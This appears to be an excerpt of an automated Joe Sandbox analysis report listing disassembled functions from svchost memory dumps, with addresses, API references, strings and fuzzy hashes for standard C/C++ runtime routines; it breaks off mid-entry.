ios_base::failbit set, xrefs: 00007FF8B7E5441D
ios_base::badbit set, xrefs: 00007FF8B7E54412, 00007FF8B7E54460

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 459529453-1866435925
Opcode ID: bfccdb82351dab2c066a0a97e8beb22ea1f0585d6e4988ad2e1efc0591439686
Instruction ID: efc3cf54fbad94815fd36ec69de3cb38f9a4fc9bab8e44959a2dd226af211f54
Opcode Fuzzy Hash: bfccdb82351dab2c066a0a97e8beb22ea1f0585d6e4988ad2e1efc0591439686
Instruction Fuzzy Hash: D9A14362A09B8A81EB60CB19E4813AE67A0FF86FC4F594536DB9D437A5DF3CE445C310

Function 00007FF8B7E56E20 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 157COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF8B7E56E96
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF8B7E56EDE
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8B7E57021
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8B7E5703A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8B7E5704D
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8B7E57053

Strings

bad locale name, xrefs: 00007FF8B7E57040
false, xrefs: 00007FF8B7E56F57
true, xrefs: 00007FF8B7E56F89

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: Concurrency::cancel_current_taskstd::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name$false$true
API String ID: 4121308752-1062449267
Opcode ID: a0a6a29b36f3101767d6a27e7e432f650c0a9b3ad643216daf7b2967e6d13dc2
Instruction ID: be1ae0b5b68f218bcf34eff063e779dc696f47f4e3329341d9bb2d4cf7db81cf
Opcode Fuzzy Hash: a0a6a29b36f3101767d6a27e7e432f650c0a9b3ad643216daf7b2967e6d13dc2
Instruction Fuzzy Hash: EE614D62B1A78189FB15DBB8D8503BC23A5AF40B88F440134DF4D27AAADF3CB566C350

Function 00007FF8B7E609F4 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF8B7E60A34
_invalid_parameter_noinfo.LIBCMT ref: 00007FF8B7E60DFC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF8B7E6109B

Strings

p, xrefs: 00007FF8B7E60B3E
f, xrefs: 00007FF8B7E60C81
f, xrefs: 00007FF8B7E60B36
p, xrefs: 00007FF8B7E60AD9
f, xrefs: 00007FF8B7E60ACC

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: 4eb4340c57cf8b74f9c6beb365b2e5934158204c44db7ffabc9767ab6ee83186
Instruction ID: 679b9b37a08b0a2dcfe49ed76fbdecf574c94be3fffd3ec0badeb9688cd7a72e
Opcode Fuzzy Hash: 4eb4340c57cf8b74f9c6beb365b2e5934158204c44db7ffabc9767ab6ee83186
Instruction Fuzzy Hash: 89128266E0C3A786FB60AA19E054ABE7652FF80FD4F944135E789466E4DF3CF4808B10

Function 0000000180016DEC Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000000180016E2C
_invalid_parameter_noinfo.LIBCMT ref: 00000001800171F4
_invalid_parameter_noinfo.LIBCMT ref: 0000000180017493

Strings

f, xrefs: 0000000180017079
f, xrefs: 0000000180016EC4
f, xrefs: 0000000180016F2E
p, xrefs: 0000000180016ED1
p, xrefs: 0000000180016F36

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: 52bb02a9136cb711dea8e8655c2193dddcde3167b1ab109d6dac24ec851c5cb0
Instruction ID: a3ffacfe598b88c6998359d4ad6f37349992d24eac7a57974f3d0a8b12241945
Opcode Fuzzy Hash: 52bb02a9136cb711dea8e8655c2193dddcde3167b1ab109d6dac24ec851c5cb0
Instruction Fuzzy Hash: 0C12E73270498986FBA69B54E0447E97672F3487D4FD8C015FA9A47AC6DF38C788CB11

Function 00007FF8B7E5CBF8 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF8B7E5CC55

Part of subcall function 00007FF8B7E5EFB8: __GetUnwindTryBlock.LIBCMT ref: 00007FF8B7E5EFFB
Part of subcall function 00007FF8B7E5EFB8: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF8B7E5F020

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF8B7E5CD2D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF8B7E5CF7B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B7E5D088

Strings

csm, xrefs: 00007FF8B7E5CC6F
csm, xrefs: 00007FF8B7E5CCD6
csm, xrefs: 00007FF8B7E5CD50

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 420ca8391d8b814b085e4072b993a992639b92f7e38e0e611c4e76f9ada086e1
Instruction ID: e269bd2d8bc4cabf74330bec5e29860defd27ec37c1de8ceb4bb48a83606775b
Opcode Fuzzy Hash: 420ca8391d8b814b085e4072b993a992639b92f7e38e0e611c4e76f9ada086e1
Instruction Fuzzy Hash: F5D12CA2A0878A8AEB20DB6994913AD77A0FF45B98F100135EF4D57BA5DF3CF491C701

Function 0000000180012EC8 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000000180012F25

Part of subcall function 0000000180015288: __GetUnwindTryBlock.LIBCMT ref: 00000001800152CB
Part of subcall function 0000000180015288: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000001800152F0

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000000180012FFD
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000000018001324B
std::bad_alloc::bad_alloc.LIBCMT ref: 0000000180013358

Strings

csm, xrefs: 0000000180012FA6
csm, xrefs: 0000000180012F3F
csm, xrefs: 0000000180013020

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: e1dfdcbd4f87c9be6772ba34b6f3e7d7d552c42100c93370fecb68dfc1e2fe1a
Instruction ID: 532af59ceaa8df084b1d27125d0ce92cc9c779345a17317b71d06a8b3b39a5c8
Opcode Fuzzy Hash: e1dfdcbd4f87c9be6772ba34b6f3e7d7d552c42100c93370fecb68dfc1e2fe1a
Instruction Fuzzy Hash: E6D18C32604F888AEBA2DB65D4423DD77A0F7497C8F108115FE9957B9ADF38D299C700

Function 000000018000A290 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 177COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000000018000A31C
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 000000018000A36E
std::_Lockit::~_Lockit.LIBCPMT ref: 000000018000A509
Concurrency::cancel_current_task.LIBCPMT ref: 000000018000A538

Strings

true, xrefs: 000000018000A407
false, xrefs: 000000018000A3F1
bad locale name, xrefs: 000000018000A53E

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: std::_$Lockit$Concurrency::cancel_current_taskLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name$false$true
API String ID: 3230409043-1062449267
Opcode ID: 748cfb033a6c90cd63057d4bb3f8d602c5bf144cb7cc6c51b94e528658b67bd7
Instruction ID: d777d4c1f5daa9a130dfb78af65ab37ab90cd743f6a4d7c89e90c822ac24f6ea
Opcode Fuzzy Hash: 748cfb033a6c90cd63057d4bb3f8d602c5bf144cb7cc6c51b94e528658b67bd7
Instruction Fuzzy Hash: 92817D32615B8489FB52CF70E4803ED37B4FB89788F149115FA8927A5ADF38C698D750

Function 00007FF8B7E6E068 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,?,00007FF8B7E6741D,?,?,?,?,00007FF8B7E574A4,?,?,?,00007FF8B7E55EF0), ref: 00007FF8B7E6E1E4
GetProcAddress.KERNEL32(?,?,?,?,00007FF8B7E6741D,?,?,?,?,00007FF8B7E574A4,?,?,?,00007FF8B7E55EF0), ref: 00007FF8B7E6E1F0

Strings

ext-ms-, xrefs: 00007FF8B7E6E141
api-ms-, xrefs: 00007FF8B7E6E12E

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 89f48e8251b32be49d297537c318f225f7d33530f2329a4c729569a48c0c5423
Instruction ID: bd27a7213d8fe90b980e75babd3e407c195bb11ab92e5b7875527c51124dca0d
Opcode Fuzzy Hash: 89f48e8251b32be49d297537c318f225f7d33530f2329a4c729569a48c0c5423
Instruction Fuzzy Hash: DA41C072B19B1289FA16DB2EA81067E2391BF44FE4F444535DE1D9B7A4EE3CF8459300

Function 00007FF8B7E5A120 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8B7E5A148
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8B7E5A19A
_RTC_Initialize.LIBCMT ref: 00007FF8B7E5A1C8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8B7E5A1EE
__scrt_release_startup_lock.LIBCMT ref: 00007FF8B7E5A219

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: bb97a04d10b39ad86ae4dab5be71f1f928fcc575eefb9070094159c7760bf562
Instruction ID: a6fcc5c1e35469dc684d1c6ecd6b03d846d1106126ef7da4cc0173aaa1432e72
Opcode Fuzzy Hash: bb97a04d10b39ad86ae4dab5be71f1f928fcc575eefb9070094159c7760bf562
Instruction Fuzzy Hash: 0C81AFA0E0C78B8AFB50AB6D94412BD2A91AF85FC4F544436DB0D973B6DE3CF8458710

Function 00000001800103E8 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000000180010410
__scrt_acquire_startup_lock.LIBCMT ref: 0000000180010462
_RTC_Initialize.LIBCMT ref: 0000000180010490
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000001800104B6
__scrt_release_startup_lock.LIBCMT ref: 00000001800104E1

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 279d4afe1240d4a9fcd6112a3a0671f722db2f35ae1d0983c42b7a8321455b0f
Instruction ID: 20b359b941788407e3f75ff7fbdac279a122c4c8a2316162942e3cd537e39cca
Opcode Fuzzy Hash: 279d4afe1240d4a9fcd6112a3a0671f722db2f35ae1d0983c42b7a8321455b0f
Instruction Fuzzy Hash: 5581BF71B00B4D86FBE7AB6694413DA6391BB8D7C4F64C025BA8847796DFB8CB4D8700

Function 00007FF8B7E65F08 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 494COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF8B7E65F4B
_invalid_parameter_noinfo.LIBCMT ref: 00007FF8B7E66338
_invalid_parameter_noinfo.LIBCMT ref: 00007FF8B7E665D4

Strings

p, xrefs: 00007FF8B7E65FFD
p, xrefs: 00007FF8B7E66075
f, xrefs: 00007FF8B7E6606D

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: 33516916e64544da07dad2ee0547e8eedbcc205d107c1b33265c01c7213945f9
Instruction ID: 7d73ec612bada9ab56f126734696e4a853c8c35a9ab3cc22a31e1f4531b1c0b5
Opcode Fuzzy Hash: 33516916e64544da07dad2ee0547e8eedbcc205d107c1b33265c01c7213945f9
Instruction Fuzzy Hash: B2128071E2C34386FB605A18E0542BD76A6EF82B94F844435E79B466E8DF3CF5948B01

Function 0000000180020E60 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 494COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000000180020EA3
_invalid_parameter_noinfo.LIBCMT ref: 0000000180021290
_invalid_parameter_noinfo.LIBCMT ref: 000000018002152C

Strings

p, xrefs: 0000000180020FCD
f, xrefs: 0000000180020FC5
p, xrefs: 0000000180020F55

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: 46612646eff669273ee08f0726a9c1ecf43d6a8809579e12c640ae8acb9c86a2
Instruction ID: f6086a9dc361a41395b2e8e840eb6921bf04e7ee0aa00b349c12e319039aa266
Opcode Fuzzy Hash: 46612646eff669273ee08f0726a9c1ecf43d6a8809579e12c640ae8acb9c86a2
Instruction Fuzzy Hash: 8F12F572604289CAFBA7AA14D0547F97391F3A87D2FC8C111F69647AC4DF38C7988B50

Function 00007FF8B7E6D83C Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF8B7E6DC69

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 70903d369856854feeb96349cd7c8e5f12917076458e4794d3f8c61011a7c8c5
Instruction ID: bade09a619f9ca2c5d7d3269534ad0366ccdd9f3b938cb8e29d6e5458354933b
Opcode Fuzzy Hash: 70903d369856854feeb96349cd7c8e5f12917076458e4794d3f8c61011a7c8c5
Instruction Fuzzy Hash: 42C1BC22A0C78695EB60DB1D94442BE6BA5EF81FC0F954135DB4E073B6DEBCF859A300

Function 0000000180023FEC Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000000180024419

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a86bac3ad538929a53dbcffd4c176e8a3635192d971f6adfcfecff31e826c78
Instruction ID: 05947a156193784e6ab2f5e3d90d996b8b72e34b3e3eddcf665fca4bd6f11240
Opcode Fuzzy Hash: 5a86bac3ad538929a53dbcffd4c176e8a3635192d971f6adfcfecff31e826c78
Instruction Fuzzy Hash: EEC1E033204A8D81E7E39B5594403EE7BA5E799BC0F95C112FA4A0B792CFB9CA5DC740

Function 0000000180003E20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000000180003E8B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0000000180003ED3
_Getctype.LIBCPMT ref: 0000000180003EEB
std::_Lockit::~_Lockit.LIBCPMT ref: 0000000180003FA3
_Getwctype.LIBCPMT ref: 0000000180003FF1

Strings

bad locale name, xrefs: 0000000180003FC6

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: std::_$Lockit$GetctypeGetwctypeLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 1386471777-1405518554
Opcode ID: 52d4b9e7991fa6d0535ee6a333fe434bb44477dcb3d48f8e2670ea4c13ea58b5
Instruction ID: d48c7900a6099d9d3d23f937b5d268c70422a6726fb94838374772abfd050068
Opcode Fuzzy Hash: 52d4b9e7991fa6d0535ee6a333fe434bb44477dcb3d48f8e2670ea4c13ea58b5
Instruction Fuzzy Hash: CF519A32B05B888AFB56DBB5E4513ED3374EB88788F048125EF4927A96DF34C65AD310

Function 00007FF8B7E51F90 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8B7E51FE8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8B7E5216D
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8B7E52173

Strings

string too long, xrefs: 00007FF8B7E51F04
Kernel, xrefs: 00007FF8B7E51FF5
Kernel, xrefs: 00007FF8B7E51FF2

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
